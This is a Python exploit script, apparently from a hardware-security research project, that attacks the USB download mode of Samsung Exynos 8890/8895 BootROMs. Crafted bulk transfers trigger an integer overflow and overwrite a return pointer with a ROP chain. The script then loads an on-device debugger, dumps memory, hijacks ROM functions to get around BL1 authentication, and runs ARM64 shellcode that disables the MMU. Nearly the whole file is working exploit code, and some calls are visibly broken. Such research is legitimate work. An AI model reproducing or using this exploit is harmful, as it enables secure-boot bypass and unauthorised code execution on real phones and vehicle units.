901 lines
36 KiB
Python
901 lines
36 KiB
Python
import struct, sys, usb1, libusb1, ctypes, usb, argparse
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from keystone import *
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from capstone import *
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from ghidra_assistant.utils.utils import *
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from ghidra_assistant.concrete_device import *
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from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger
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from qiling.const import QL_ARCH
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import os, tqdm, datetime
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def p32(x):
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return struct.pack("<I", x)
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def p8(x):
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return struct.pack("<B", x)
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def p16(x):
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return struct.pack("<H", x)
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def p64(x):
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return struct.pack("<Q", x)
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logger = setup_logger("") #Leave empty to get root logger
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logger.setLevel(logging.DEBUG)
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BLOCK_SIZE = 512
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CHUNK_SIZE = 0xfffe00
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MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)
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DL_BUFFER_START = 0x02021800
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DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000
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BOOTROM_START = 0x0
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BOOTROM_SIZE = 0x20000 #128Kb
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TARGET_OFFSETS = {
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# XFER_BUFFER, RA_PTR, XFER_END_SIZE
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"8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
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"8895": (0x02021800, 0x02020F18, 0x02070000)
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}
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def wait_for_device():
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while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None:
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pass
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def wait_disconnect():
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while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is not None:
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pass
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ENDPOINT_BULK_IN = 0x81
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ENDPOINT_BULK_OUT = 0x2
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ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
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cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN)
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class ExynosDevice():
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"""
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Class to exploit a Exynos device (8890/8895) using the USB stack.
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"""
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def __init__(self, idVendor=0x04e8, idProduct=0x1234):
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"""Init with vendor/product IDs"""
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self.idVendor = idVendor
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self.idProduct = idProduct
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self.target = "8890" # TODO auto detect device
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self.connect_device()
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def connect_device(self):
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"""Setup proper connection, and ensure the connection is alive"""
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self.context = usb1.USBContext()
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while True:
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self.handle = self.context.openByVendorIDAndProductID(
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vendor_id=self.idVendor,
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product_id=self.idProduct,
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skip_on_error=False
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)
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if self.handle == None:
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continue
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break
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try:
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self.handle.getDevice().getSerialNumber()
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except Exception as e:
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if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO:
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print("Device disconnected / not connected. Reconnect USB?")
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sys.exit(1)
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else:
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raise e
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# claim usb interface
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self.handle.claimInterface(0)
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print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
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def disconnect(self):
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"""Disconnect the device"""
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self.handle.releaseInterface(0)
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self.handle.close()
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self.context.exit()
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def write(self, data):
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"""Write data to the device"""
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transferred = ctypes.c_int()
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
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assert(res == 0), "Could not perform bulk transfer"
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return res
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def send_empty_transfer(self):
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"""Send an empty transfer (to not actually write data)"""
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transferred = ctypes.c_int()
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
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assert(res == 0)
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return transferred.value
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def test_bug_2(self):
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"""Interger overflow in last packet if reamining size is 1."""
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transferred = ctypes.c_int()
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bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
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bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
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assert res == 0
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payload = b"\xaa" * 0x200
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
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assert res == 0
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payload = b"\xaa" * 0x200
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
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while True:
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
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def test_bug(self):
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"""Verify bug existence"""
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# Start by sending a valid packet
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# Integer overflow in the size field
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# unk + size + payload + header
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payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
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assert (len(payload) == BLOCK_SIZE)
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res = self.write(payload, MAX_PAYLOAD_SIZE)
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for i in range(200):
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print(hex(self.send_empty_transfer()))
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print('Bug probably available')
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sys.exit(0)
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def send_normal_stage(self, payload):
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"""Send next boot stage to the device"""
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# construct dl_data
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dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2))
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dpayload = dpayload + payload + b"\x00" * 2 # add footer
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transferred = ctypes.c_int()
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for block in range(0, len(dpayload), BLOCK_SIZE):
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, dpayload[block:block + BLOCK_SIZE], len(dpayload[block:block + BLOCK_SIZE]), ctypes.byref(transferred), 0)
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assert res == 0, "Error sending payload"
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p_ok("Sent stage")
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def unsecure_boot(self, exploit=False):
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'''
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Do a normal boot process, with or without exploit.
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'''
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bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
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bl31 = open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()
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bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
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bl33 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
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if args.MIB3:
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bl1 = open("../mib3/boot_partitions/fwbl1_a.bin", "rb").read()
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bl31 = open("../mib3/boot_partitions/el3_mon_a.bin", "rb").read()
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bl2 = open("../mib3/boot_partitions/bl2_a.bin", "rb").read()
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bl33 = open("../mib3/boot_partitions/u-boot_a.bin", "rb").read()
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off = bl31.find(b'Built')
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bl31 = bl31[:off] + b'Built' + bl31[off+len(b'Built'):]
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if exploit:
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self.exploit(open("../../dump/exynos-usbdl/payloads/Exynos8890_unsecure_boot_usb.bin", "rb").read())
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time.sleep(2)
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self.connect_device()
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self.send_normal_stage(bl1)
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time.sleep(2)
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self.connect_device()
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self.send_normal_stage(bl31)
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time.sleep(2)
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self.connect_device()
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self.send_normal_stage(bl2)
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time.sleep(2)
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self.connect_device()
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self.send_normal_stage(bl33)
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pass
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def exploit(self, payload: bytes):
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'''
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Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
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'''
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assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
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current_offset = TARGET_OFFSETS[self.target][0]
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xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
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transferred = ctypes.c_int()
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size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
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#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
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max_payload_size = 0x100000000 - size_to_overflow
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ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
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# Assert that payload is 502 bytes
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payload = payload + ((max_payload_size - len(payload)) * b"\x00")
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assert len(payload) == max_payload_size, "Invalid payload. Size is wrong"
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# First send payload to trigger the bug
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bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
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bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
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assert res == 0, "Error triggering payload"
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assert transferred.value == len(bug_payload), "Invalid transfered size"
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current_offset += len(bug_payload) - 8 # Remove header
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cnt = 0
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while True:
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if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
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break
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self.send_empty_transfer()
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current_offset += CHUNK_SIZE
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cnt += 1
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if current_offset > 0x100000000:
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current_offset = current_offset - 0x100000000 #reset 32 byte integer
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print(f"{cnt} {hex(current_offset)}")
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remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
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assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
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if remaining > BLOCK_SIZE:
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self.send_empty_transfer()
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# Send last transfer, TODO who aligns this ROM??
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current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
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cnt += 1
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print(f"{cnt} {hex(current_offset)}")
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# Build ROP chain.
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rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
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transferred = ctypes.c_int(0)
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
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assert res == 0, "Error sending ROP chain"
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return
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def usb_write(self, data):
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assert len(data) <= 0x200, "Data too big"
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transferred = ctypes.c_int()
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300)
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assert res == 0, f"Error sending data {res}"
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assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}"
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return transferred.value
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def usb_read(self, size):
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transferred = ctypes.c_int()
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buf = ctypes.c_buffer(b"", size)
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 300)
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assert res == 0, f"Error receiving data {res}"
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return buf.raw[:transferred.value]
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def setup_concrete_device(self, concrete_device : ConcreteDevice):
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#Setup architecture
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concrete_device.arch = QL_ARCH.ARM64
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concrete_device.ga_debugger_location = 0x2069000 # TODO, not used yet
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concrete_device.ga_vbar_location = 0x206d000 + 0x1000
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concrete_device.ga_storage_location = 0x206d000
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concrete_device.ga_stack_location = 0x206b000
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concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
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concrete_device.arch_dbg.read = self.usb_read
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concrete_device.arch_dbg.write = self.usb_write
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#Overwrite all calls to make the concrete target function properly
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concrete_device.copy_functions()
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def usb_debug(self):
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"""
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Function to debug USB behaviour. Sends and receives data in continuous flow.
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"""
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transferred = ctypes.c_int()
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# Send some data
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count = 0
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def _send_data():
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transferred.value = 0
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p = p32(count) + b"\xaa" * (0x200 - 4)
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
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assert res == 0, f"Error sending data ({res})"
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def _recv_data():
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transferred.value = 0
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buf = ctypes.c_buffer(b"", 0x200)
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
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assert res == 0, f"Error receiving data ({res})"
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hexdump(buf.raw)
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# Should have received some bytes
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while True:
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_send_data()
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_recv_data()
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count += 1
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def dump_memory(self, start: hex=0x0, end: hex=0x02070000, write=False):
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"""
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Dumps memory from the device.
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Transfer XFER_BUFFER at 0x02021800, to: 0x02020F08. End of memory at 0x0206ffff.
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"""
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dumped = b""
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# Read data from memory
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try:
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for block in tqdm.tqdm(range(start, end, 0x6000)):
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dump = self.cd.memdump_region(block, 0x6000)
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dumped += dump
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except:
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print("Error reading memory, at block: ", hex(block))
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return dumped
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def setup_guppy_debugger(self):
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"""
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Sets up guppy debugger on the device itself.
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"""
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def _setup_debugger():
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'''
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Setup the debugger as a concrete device
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'''
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self.cd = ConcreteDevice(None, False)
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self.cd.dev = self.setup_concrete_device(self.cd)
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self.cd.test_connection()
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def _initial_run_debugger():
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"""Write debugger to device and test basic functionality"""
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### Setup debugger
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if os.getenv("USER") == "eljakim":
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debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
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else:
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try:
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debugger = open("../../dump/debugger.bin", "rb").read()
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except Exception as e:
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print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
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sys.exit(0)
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debugger += ((0x2000 - len(debugger)) * b"\x00")
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assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size"
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for block in range(0, len(debugger), 0x200):
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self.usb_write(debugger[block:block+0x200])
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# time.sleep(.5) # Wait a little bit
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assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
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# Test basic functionality
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self.usb_write(b"PING")
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r = self.usb_read(0x200)
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assert r == b"PONG", f"Invalid response from device: {r}"
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_initial_run_debugger()
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_setup_debugger()
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def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
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"""
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Relocates the debugger to another location. Make sure to have built the debugger with the correct addresses!
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Args:
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- debugger: The debugger to relocate. If None, it will use the default debugger.
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- entry: The entry point of the debugger.
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- storage: The storage location of the debugger.
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- g_data_received: The location of the data received.
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"""
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if debugger is None:
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if os.getenv("USER") == "eljakim":
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debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
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else:
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try:
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debugger_reloc = open("../../dump/reloc_debugger.bin", "rb").read()
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except Exception as e:
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print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
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sys.exit(0)
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else:
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debugger_reloc = debugger
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self.cd.memwrite_region(entry, debugger_reloc)
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# self.usb_write(b"FLSH") # Flush cache
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self.cd.restore_stack_and_jump(entry)
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assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
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self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
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def dumb_interact(self, dump_imems=False):
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'''
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Room for playing around with the debugger on the phone.
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'''
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self.cd.arch_dbg.state.auto_sync = False
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self.cd.arch_dbg.state.auto_sync_special = False
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logger.debug('State after setting up initial debugger')
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self.cd.arch_dbg.state.print_ctx()
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def first_debugger():
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debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
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self.cd.memwrite_region(0x2069000, debugger)
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self.cd.restore_stack_and_jump(0x2069000)
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assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
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self.cd.relocate_debugger(0x206d000 + 0x1000, 0x2069000, 0x206d000)
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# self.relocate_debugger()
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DEBUGGER_ADDR = 0x2069000 #0x020c0000
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### Get whereabouts of the debugger and current processor state
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logger.debug('State after relocating debugger')
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self.cd.arch_dbg.state.print_ctx()
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def memdump_imem():
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"""
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Dumps the internal memory of the device (0x2020000 - 0x2070000).
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"""
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dumped = b""
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for block in range(0x2020000, 0x2070000, 0x200):
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# print(hex(block))
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dumped += self.cd.memdump_region(block, 0x200)
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|
return dumped
|
|
|
|
AUTH_BL1 = 0x00012848 # Location of the authentication function
|
|
def auth_bl1(lr=0x2069000):
|
|
# Load the firmware
|
|
self.cd.arch_dbg.state.X0 = 1
|
|
self.cd.arch_dbg.state.X1 = 1
|
|
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
|
|
self.cd.restore_stack_and_jump(AUTH_BL1)
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
|
|
|
BOOT_BL1 = 0x00019310 # Location of the boot function
|
|
def boot_bl1(lr=0x2069000):
|
|
self.cd.arch_dbg.state.LR = lr
|
|
self.cd.restore_stack_and_jump(BOOT_BL1)
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
|
|
JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
|
|
def jump_bl1(lr):
|
|
self.cd.arch_dbg.state.LR = lr
|
|
self.cd.restore_stack_and_jump(JUMP_BL1)
|
|
|
|
# Always hijack rom_usb_download function:
|
|
rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
|
|
self.cd.memwrite_region(0x020200dc, p32(0x2069000))
|
|
|
|
# Try loading bl1
|
|
bl1 = open("../S7/bl1.bin", "rb").read()
|
|
self.cd.memwrite_region(0x02021800, bl1)
|
|
self.usb_write(b"FLSH") # Flush cache, as Frederic does
|
|
self.cd.test_connection()
|
|
auth_bl1(DEBUGGER_ADDR)
|
|
# boot_bl1(DEBUGGER_ADDR)
|
|
self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
|
|
self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
|
|
jump_bl1(DEBUGGER_ADDR)
|
|
|
|
# Returns on usb_download function
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
self.cd.arch_dbg.state.print_ctx()
|
|
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
|
|
bl31 = open("../S7/bl31.bin", "rb").read()
|
|
self.cd.memwrite_region(0x02024000, bl31)
|
|
self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
|
|
self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))
|
|
|
|
self.cd.arch_dbg.state.X0 = 0
|
|
self.cd.restore_stack_and_jump(0x020219c8)
|
|
pass
|
|
|
|
# assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
|
|
# self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
|
|
|
|
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
|
# self.cd.restore_stack_and_jump(0x02022a08)
|
|
# Patches
|
|
# self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
|
|
# self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
|
|
|
|
# Patch stupid error function
|
|
# self.usb_write(b"FLSH") # Flush cache
|
|
|
|
# Download next stage?
|
|
lr = self.cd.arch_dbg.state.LR
|
|
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
|
pass
|
|
|
|
# Overwrite jump back to the debugger from functions encountered during jump_bl1
|
|
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
|
|
self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
|
|
|
|
def hijack_brom_weird():
|
|
print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
|
|
self.cd.restore_stack_and_jump(0x00000314)
|
|
|
|
jump_bl1(0x020c0000)
|
|
def handle_weird_brom():
|
|
while True:
|
|
try:
|
|
resp = self.usb_read(0x200)
|
|
logging.debug(f'Within jump_bl1. Response: {resp}.')
|
|
if self.cd.arch_dbg.state.LR == 0x02022948:
|
|
break # ROM will load next stage over USB
|
|
hijack_brom_weird()
|
|
except Exception as e:
|
|
pass
|
|
handle_weird_brom()
|
|
|
|
### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
|
|
# self.cd.jump_to(0x2069000)
|
|
# assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
# self.cd.fetch_special_regs()
|
|
|
|
self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
|
|
|
|
self.cd.arch_dbg.state.X0 = 1
|
|
self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
|
|
self.usb_read(0x200) # GiAs
|
|
|
|
self.cd.arch_dbg.state.LR = 0x2069000
|
|
self.cd.restore_stack_and_jump(0x00000314)
|
|
pass
|
|
|
|
### UXN and PXN seem to be present over the USB stack (02021800+)
|
|
shellcode = f"""
|
|
ldr x0, debugger_addr
|
|
blr x0
|
|
debugger_addr: .quad 0x02022000
|
|
"""
|
|
|
|
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
|
self.cd.memwrite_region(0x2021800, shellcode)
|
|
|
|
self.cd.jump_to(0x2021800)
|
|
pass
|
|
|
|
# bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
|
|
# # Write bl31 at 0x02021800 and authenticate
|
|
|
|
auth_bl1(0x020c0000)
|
|
|
|
# Jump to bl31
|
|
jump_bl1(0x02021800)
|
|
pass
|
|
|
|
# VERY OLD
|
|
|
|
#000125b4
|
|
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
|
|
# self.cd.restore_stack_and_jump(0x00012814)
|
|
# self.cd.restore_stack_and_jump(0x000125b4)
|
|
|
|
|
|
def disable_mmu(self, address=0x02060000):
|
|
# ================= WORKS TO DISABLE DEBUGGER. BUT UNNECESSARY =================
|
|
# Disable MMU and branch to 0x02048000
|
|
shellcode=f"""
|
|
mrs x0, sctlr_el3
|
|
bic x0, x0, #1
|
|
msr sctlr_el3, x0
|
|
ldr x0, =0x2048000
|
|
br x0
|
|
"""
|
|
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
|
self.cd.memwrite_region(address, shellcode)
|
|
self.cd.jump_to(address)
|
|
time.sleep(1)
|
|
self.usb_read(0x200) # GiAs
|
|
self.cd.arch_dbg.fetch_special_regs()
|
|
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
|
|
|
|
|
def get_ttbr0_el3(self):
|
|
"""
|
|
Get the TTBR0_EL3 register using opcode.
|
|
"""
|
|
shellcode= f"""
|
|
mov x1, lr
|
|
mrs x0, ttbr0_el3
|
|
ldr x2, =0x206fd10
|
|
str x0, [x2]
|
|
mov lr, x1
|
|
ret
|
|
"""
|
|
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
|
self.cd.memwrite_region(0x206ed10, shellcode)
|
|
self.cd.jump_to(0x0206ed10)
|
|
ttbr0 = u64(self.cd.memdump_region(0x0206fd10, 0x8))
|
|
print(f"TTBR0_EL3: {hex(ttbr0)}")
|
|
print(f"Bits: {ttbr0:064b}")
|
|
|
|
# Overwrite it with 0's
|
|
self.cd.memwrite_region(0x0206ed10, b"\x00" * 0x8)
|
|
ttbr0 = self.cd.memdump_region(0x206ed10, 0x8)
|
|
assert ttbr0 == b"\x00" * 0x8, "TTBR0_EL3 not overwritten"
|
|
|
|
|
|
def test_write_execute(self, address, execute=True):
|
|
"""
|
|
At given address, test if it is possible to write and execute code, by writing a simple jump to, and jump back.
|
|
"""
|
|
self.usb_write(b'PING')
|
|
assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"
|
|
|
|
shellcode = f"""
|
|
mov x1, lr
|
|
ret
|
|
"""
|
|
|
|
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
|
self.cd.memwrite_region(address, shellcode)
|
|
if execute:
|
|
self.cd.jump_to(address)
|
|
self.usb_write(b"PING")
|
|
assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
|
|
print(f'Jumped to {hex(address)} and back')
|
|
|
|
|
|
def print_registry_status(self):
|
|
"""Print potentially interesting registry status (statii?) of the device"""
|
|
self.cd.arch_dbg.fetch_special_regs()
|
|
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
|
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
|
|
print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}')
|
|
print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}')
|
|
print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}')
|
|
print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}')
|
|
print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')
|
|
|
|
|
|
|
|
def debugger_boot(self):
|
|
"""
|
|
Boot into USB recovery mode using the debugger.
|
|
"""
|
|
# Setup initial debugger
|
|
self.setup_guppy_debugger()
|
|
self.cd.arch_dbg.state.auto_sync = False
|
|
self.cd.arch_dbg.state.auto_sync_special = False
|
|
logger.debug('State after setting up initial debugger')
|
|
self.cd.arch_dbg.state.print_ctx()
|
|
DEBUGGER_ADDR = 0x2069000 # 0x2069000
|
|
|
|
# Relocate debugger
|
|
debugger = open("../../dump/reloc_debugger_0x11200000.bin", "rb").read()
|
|
self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11203000, g_data_received=0x11204000)
|
|
DEBUGGER_ADDR = 0x11200000
|
|
|
|
# Load bootloader stages
|
|
bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
|
|
bl31 = open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()
|
|
bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
|
|
bl33 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
|
|
if args.MIB3:
|
|
bl1 = open("../mib3/boot_partitions/fwbl1_a.bin", "rb").read()
|
|
bl1 = open("../mib3/modified_boot/fwbl1_mod.bin", "rb").read()
|
|
bl31 = open("../mib3/boot_partitions/el3_mon_a.bin", "rb").read()
|
|
bl2 = open("../mib3/boot_partitions/bl2_a.bin", "rb").read()
|
|
bl33 = open("../mib3/boot_partitions/u-boot_a.bin", "rb").read()
|
|
#bl33 = open("../mib3/modified_boot/u-boot_mod.bin", "rb").read()
|
|
|
|
# Test debugger connection
|
|
self.cd.test_connection()
|
|
|
|
# ==== BL1 ====
|
|
### Overwrite boot_usb_ra to our debugger
|
|
hijacked_usb_ra = self.cd.memdump_region(0x02020f60, 8)
|
|
self.cd.memwrite_region(0x02020f60, p64(DEBUGGER_ADDR))
|
|
|
|
### Set link register and boot into the USB function
|
|
BOOT_USB_FUNCTION = 0x000064e0
|
|
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
|
self.cd.restore_stack_and_jump(BOOT_USB_FUNCTION)
|
|
|
|
# Wait for device return (happens after each download)
|
|
time.sleep(1)
|
|
self.connect_device()
|
|
|
|
# Send boot stage 1
|
|
self.send_normal_stage(bl1)
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
|
|
# Setup jump and bl_auth
|
|
AUTH_BL1 = 0x00012848 # Location of the authentication function
|
|
def auth_bl1(lr=0x2069000, x0=1, x1=1):
|
|
# Load the firmware
|
|
self.cd.arch_dbg.state.X0 = x0
|
|
self.cd.arch_dbg.state.X1 = x1
|
|
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
|
|
self.cd.restore_stack_and_jump(AUTH_BL1)
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
### Check if authentication was successful - X0 should not be 0??
|
|
# assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
|
|
|
# BL1 is loaded, now authenticate and patch it
|
|
auth_bl1(DEBUGGER_ADDR)
|
|
self.usb_write(b"FLSH") # Flush cache (Frederic does this..)
|
|
|
|
# Hijack ROM download function
|
|
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
|
|
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
|
|
|
|
BL1_POINTER = 0x02021880
|
|
if args.MIB3:
|
|
BL1_POINTER = 0x02021890
|
|
|
|
self.cd.memwrite_region(BL1_POINTER, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
|
|
|
|
# Write a patch to BL1 in memory
|
|
# self.cd.memwrite_region(0x2021800+bl1.find(b'2015'), b'2014')
|
|
|
|
# Jump into BL1 (sboot.bin.1.bin)
|
|
JUMP_BL1 = 0x000002c0
|
|
def jump_bl1(lr):
|
|
self.cd.arch_dbg.state.LR = lr
|
|
self.cd.restore_stack_and_jump(JUMP_BL1)
|
|
|
|
# And jump into BL1 to execute it
|
|
jump_bl1(DEBUGGER_ADDR)
|
|
|
|
# ==== BL31 ====
|
|
# Assure that the debugger is still alive
|
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
|
|
|
# Get current LR, and store it. Then set LR to debugger.
|
|
BL1_RA = self.cd.arch_dbg.state.LR
|
|
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
|
self.cd.restore_stack_and_jump(hijacked_fun) # will jump back to debugger after downloading the next stage (before executing it)
|
|
|
|
# After downloading the next stage, make sure the device reconnects
|
|
time.sleep(2)
|
|
